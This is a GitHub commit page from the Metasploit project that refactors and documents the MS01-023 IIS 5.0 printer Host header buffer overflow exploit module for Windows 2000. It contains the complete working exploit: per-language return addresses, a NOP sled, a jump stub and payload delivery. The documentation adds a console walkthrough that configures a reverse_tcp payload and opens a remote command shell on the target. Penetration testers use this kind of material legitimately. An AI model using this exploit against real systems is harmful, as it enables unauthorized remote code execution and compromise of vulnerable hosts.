Skip to content

Commit 2af8042

Browse files
jheysel-r7jheysel-r7
committed
Land #16761, clean up ms01_023_printer
Adds additional offsets for various Windows 2000 targets. Replaces raw socket TCP with HttpClient. This works fine in testing. Fixes default payload, adds docs and notes.
2 parents 5fd4c6c + 83bc954 commit 2af8042

File tree

2 files changed

+208
-75
lines changed

2 files changed

+208
-75
lines changed

‎documentation/modules/exploit/windows/iis/ms01_023_printer.md

+108
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
## Vulnerable Application
2+
3+
This exploits a buffer overflow in the request processor of the
4+
Internet Printing Protocol ISAPI module in IIS. This module
5+
works against Windows 2000 Server and Professional SP0-SP1.
6+
7+
If the service stops responding after a successful compromise,
8+
run the exploit a couple more times to completely kill the
9+
hung process.
10+
11+
This module has been tested successfully on:
12+
13+
* Windows 2000 Professional SP0 (Dutch)
14+
* Windows 2000 Professional SP0 (Finnish)
15+
* Windows 2000 Professional SP0 (Greek)
16+
* Windows 2000 Professional SP0 (Korean)
17+
* Windows 2000 Professional SP0 (Turkish)
18+
* Windows 2000 Professional SP1 (Arabic)
19+
* Windows 2000 Professional SP1 (Czech)
20+
* Windows 2000 Professional SP1 (English)
21+
* Windows 2000 Professional SP1 (Greek)
22+
* Windows 2000 Server SP0 (Chinese)
23+
* Windows 2000 Server SP0 (Dutch)
24+
* Windows 2000 Server SP0 (English)
25+
* Windows 2000 Server SP0 (German)
26+
* Windows 2000 Server SP0 (Hungarian)
27+
* Windows 2000 Server SP0 (Italian)
28+
* Windows 2000 Server SP0 (Portuguese)
29+
* Windows 2000 Server SP0 (Spanish)
30+
* Windows 2000 Server SP0 (Turkish)
31+
* Windows 2000 Server SP1 (English)
32+
* Windows 2000 Server SP1 (French)
33+
* Windows 2000 Server SP1 (Swedish)
34+
35+
## Verification Steps
36+
37+
1. `use exploit/windows/iis/ms01_023_printer`
38+
1. `set RHOSTS [IP]`
39+
1. `show targets` to see the possible targets
40+
1. `set TARGET [TARGET]`
41+
1. `set PAYLOAD windows/shell/reverse_tcp`
42+
1. `set LHOST [IP]`
43+
1. `run`
44+
45+
## Options
46+
47+
48+
## Scenarios
49+
50+
### Windows 2000 Professional SP1 (EN)
51+
52+
```
53+
msf6 > use exploit/windows/iis/ms01_023_printer
54+
[*] Using configured payload windows/shell/reverse_tcp
55+
msf6 exploit(windows/iis/ms01_023_printer) > set rhosts 192.168.200.195
56+
rhosts => 192.168.200.195
57+
msf6 exploit(windows/iis/ms01_023_printer) > check
58+
[*] 192.168.200.195:80 - The target appears to be vulnerable.
59+
msf6 exploit(windows/iis/ms01_023_printer) > show targets
60+
61+
Exploit targets:
62+
63+
Id Name
64+
-- ----
65+
0 Windows 2000 SP0-SP1 (Arabic)
66+
1 Windows 2000 SP0-SP1 (Czech)
67+
2 Windows 2000 SP0-SP1 (Chinese)
68+
3 Windows 2000 SP0-SP1 (Dutch)
69+
4 Windows 2000 SP0-SP1 (English)
70+
5 Windows 2000 SP0-SP1 (French)
71+
6 Windows 2000 SP0-SP1 (Finnish)
72+
7 Windows 2000 SP0-SP1 (German)
73+
8 Windows 2000 SP0-SP1 (Korean)
74+
9 Windows 2000 SP0-SP1 (Hungarian)
75+
10 Windows 2000 SP0-SP1 (Italian)
76+
11 Windows 2000 SP0-SP1 (Portuguese)
77+
12 Windows 2000 SP0-SP1 (Spanish)
78+
13 Windows 2000 SP0-SP1 (Swedish)
79+
14 Windows 2000 SP0-SP1 (Turkish)
80+
15 Windows 2000 Pro SP0 (Greek)
81+
16 Windows 2000 Pro SP1 (Greek)
82+
83+
84+
msf6 exploit(windows/iis/ms01_023_printer) > set target 4
85+
target => 4
86+
msf6 exploit(windows/iis/ms01_023_printer) > set payload windows/shell/reverse_tcp
87+
payload => windows/shell/reverse_tcp
88+
msf6 exploit(windows/iis/ms01_023_printer) > set lhost 192.168.200.130
89+
lhost => 192.168.200.130
90+
msf6 exploit(windows/iis/ms01_023_printer) > run
91+
92+
[*] Started reverse TCP handler on 192.168.200.130:4444
93+
[*] Using target: Windows 2000 SP0-SP1 (English) ...
94+
[*] Encoded stage with x86/shikata_ga_nai
95+
[*] Sending encoded stage (267 bytes) to 192.168.200.195
96+
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.195:1168) at 2022-07-08 11:07:42 -0400
97+
98+
99+
Shell Banner:
100+
Microsoft Windows 2000 [Version 5.00.2195]
101+
-----
102+
103+
104+
C:\WINNT\system32>ver
105+
ver
106+
107+
Microsoft Windows 2000 [Version 5.00.2195]
108+
```

‎modules/exploits/windows/iis/ms01_023_printer.rb

+100-75
Original file line numberDiff line numberDiff line change
@@ -6,99 +6,124 @@
66
class MetasploitModule < Msf::Exploit::Remote
77
Rank = GoodRanking
88

9-
include Msf::Exploit::Remote::Tcp
9+
include Msf::Exploit::Remote::HttpClient
1010

1111
def initialize(info = {})
12-
super(update_info(info,
13-
'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',
14-
'Description' => %q{
15-
This exploits a buffer overflow in the request processor of
16-
the Internet Printing Protocol ISAPI module in IIS. This
17-
module works against Windows 2000 service pack 0 and 1. If
18-
the service stops responding after a successful compromise,
19-
run the exploit a couple more times to completely kill the
20-
hung process.
21-
},
22-
'Author' => [ 'hdm' ],
23-
'License' => MSF_LICENSE,
24-
'References' =>
25-
[
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',
16+
'Description' => %q{
17+
This exploits a buffer overflow in the request processor of the
18+
Internet Printing Protocol ISAPI module in IIS. This module
19+
works against Windows 2000 Server and Professional SP0-SP1.
20+
21+
If the service stops responding after a successful compromise,
22+
run the exploit a couple more times to completely kill the
23+
hung process.
24+
},
25+
'Author' => [ 'hdm' ],
26+
'License' => MSF_LICENSE,
27+
'References' => [
2628
[ 'CVE', '2001-0241'],
2729
[ 'OSVDB', '3323'],
2830
[ 'BID', '2674'],
2931
[ 'MSB', 'MS01-023'],
3032
[ 'URL', 'https://seclists.org/lists/bugtraq/2001/May/0005.html'],
3133
],
32-
'Privileged' => false,
33-
'Payload' =>
34-
{
35-
'Space' => 900,
36-
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
37-
'StackAdjustment' => -3500,
34+
'Privileged' => false,
35+
'Payload' => {
36+
'Space' => 900,
37+
'BadChars' => "\x00\x0a\x0b\x0d\x20\x2f\x3a",
38+
'StackAdjustment' => -3500
3839
},
39-
'Targets' =>
40-
[
41-
[
42-
'Windows 2000 English SP0-SP1',
43-
{
44-
'Platform' => 'win',
45-
'Ret' => 0x732c45f3,
46-
},
47-
],
40+
'Targets' => [
41+
# jmp esp @ compfilt.dll
42+
[ 'Windows 2000 SP0-SP1 (Arabic)', { 'Ret' => 0x732345f3 } ],
43+
[ 'Windows 2000 SP0-SP1 (Czech)', { 'Ret' => 0x732645f3 } ],
44+
[ 'Windows 2000 SP0-SP1 (Chinese)', { 'Ret' => 0x732245f3 } ],
45+
[ 'Windows 2000 SP0-SP1 (Dutch)', { 'Ret' => 0x732745f3 } ],
46+
[ 'Windows 2000 SP0-SP1 (English)', { 'Ret' => 0x732c45f3 } ],
47+
[ 'Windows 2000 SP0-SP1 (French)', { 'Ret' => 0x732345f3 } ],
48+
[ 'Windows 2000 SP0-SP1 (Finnish)', { 'Ret' => 0x732945f3 } ],
49+
[ 'Windows 2000 SP0-SP1 (German)', { 'Ret' => 0x732345f3 } ],
50+
# [ 'Windows 2000 SP0-SP1 (Greek)', { 'Ret' => 0x732045f3 } ], # contains 0x20
51+
[ 'Windows 2000 SP0-SP1 (Korean)', { 'Ret' => 0x731e45f3 } ],
52+
[ 'Windows 2000 SP0-SP1 (Hungarian)', { 'Ret' => 0x732445f3 } ],
53+
[ 'Windows 2000 SP0-SP1 (Italian)', { 'Ret' => 0x732645f3 } ],
54+
[ 'Windows 2000 SP0-SP1 (Portuguese)', { 'Ret' => 0x732645f3 } ],
55+
[ 'Windows 2000 SP0-SP1 (Spanish)', { 'Ret' => 0x732645f3 } ],
56+
[ 'Windows 2000 SP0-SP1 (Swedish)', { 'Ret' => 0x732945f3 } ],
57+
[ 'Windows 2000 SP0-SP1 (Turkish)', { 'Ret' => 0x732545f3 } ],
58+
59+
# jmp esp @ ws2_32.dll
60+
[ 'Windows 2000 Pro SP0 (Greek)', { 'Ret' => 0x74f862c3 } ],
61+
[ 'Windows 2000 Pro SP1 (Greek)', { 'Ret' => 0x74f85173 } ],
4862
],
49-
'Platform' => 'win',
50-
'DisclosureDate' => '2001-05-01',
51-
'DefaultTarget' => 0))
52-
53-
register_options(
54-
[
55-
Opt::RPORT(80)
56-
])
63+
'Arch' => [ARCH_X86],
64+
'Platform' => 'win',
65+
'DefaultOptions' => {
66+
'PAYLOAD' => 'windows/shell/reverse_tcp'
67+
},
68+
'Notes' => {
69+
'Reliability' => [REPEATABLE_SESSION],
70+
'Stability' => [CRASH_SERVICE_DOWN],
71+
'SideEffects' => [IOC_IN_LOGS]
72+
},
73+
'DefaultTarget' => 4,
74+
'DisclosureDate' => '2001-05-01'
75+
)
76+
)
77+
78+
register_options([
79+
Opt::RPORT(80)
80+
])
5781
end
5882

59-
6083
def check
61-
connect
62-
sock.put("GET /NULL.printer HTTP/1.0\r\n\r\n")
63-
resp = sock.get_once
64-
disconnect
65-
66-
if !(resp and resp =~ /Error in web printer/)
67-
return Exploit::CheckCode::Safe
68-
end
69-
70-
connect
71-
sock.put("GET /NULL.printer HTTP/1.0\r\nHost: #{"X"*257}\r\n\r\n")
72-
resp = sock.get_once
73-
disconnect
74-
75-
if (resp and resp =~ /locked out/)
76-
print_status("The IUSER account is locked out, we can't check")
77-
return Exploit::CheckCode::Detected
78-
end
79-
80-
if (resp and resp.index("HTTP/1.1 500") >= 0)
81-
return Exploit::CheckCode::Vulnerable
82-
end
83-
84-
return Exploit::CheckCode::Safe
84+
res = send_request_cgi({
85+
'uri' => '/NULL.printer',
86+
'version' => '1.0'
87+
})
88+
89+
return CheckCode::Unknown('Connection failed') unless res
90+
return CheckCode::Safe unless res.code == 500
91+
# Error response is language dependent: "<b>Error in web printer install.</b>"
92+
return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')
93+
94+
res = send_request_cgi({
95+
'uri' => '/NULL.printer',
96+
'vhost' => rand_text_alpha(257),
97+
'version' => '1.0'
98+
})
99+
100+
return CheckCode::Unknown('Connection failed') unless res
101+
return CheckCode::Detected("The IUSER account is locked out, we can't check") if res.body.to_s.include?('locked out')
102+
return CheckCode::Safe unless res.code == 500
103+
return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')
104+
105+
CheckCode::Appears
85106
end
86107

87108
def exploit
88-
connect
109+
print_status("Using target: #{target.name} ...")
89110

90-
buf = make_nops(280)
91-
buf[268, 4] = [target.ret].pack('V')
111+
buf = make_nops(268)
112+
buf << [target.ret].pack('V')
113+
buf << make_nops(8)
92114

93115
# payload is at: [ebx + 96] + 256 + 64
94-
buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]
95-
buf << "\x80\xc1\x40" # add cl, 64
96-
buf << "\x80\xc5\x01" # add ch, 1
97-
buf << "\xff\xe1" # jmp ecx
98-
99-
sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n")
100-
101-
handler
102-
disconnect
116+
buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]
117+
buf << "\x80\xc1\x40" # add cl, 64
118+
buf << "\x80\xc5\x01" # add ch, 1
119+
buf << "\xff\xe1" # jmp ecx
120+
121+
res = send_request_cgi({
122+
'uri' => "http://#{buf}/NULL.printer?#{payload.encoded}",
123+
'version' => '1.0'
124+
}, 5)
125+
126+
# It is expected that we receive no reply. A reply indicates exploit failure.
127+
fail_with(Failure::UnexpectedReply, "#{res.code} #{res.message}") if res
103128
end
104129
end

0 commit comments

Comments
 (0)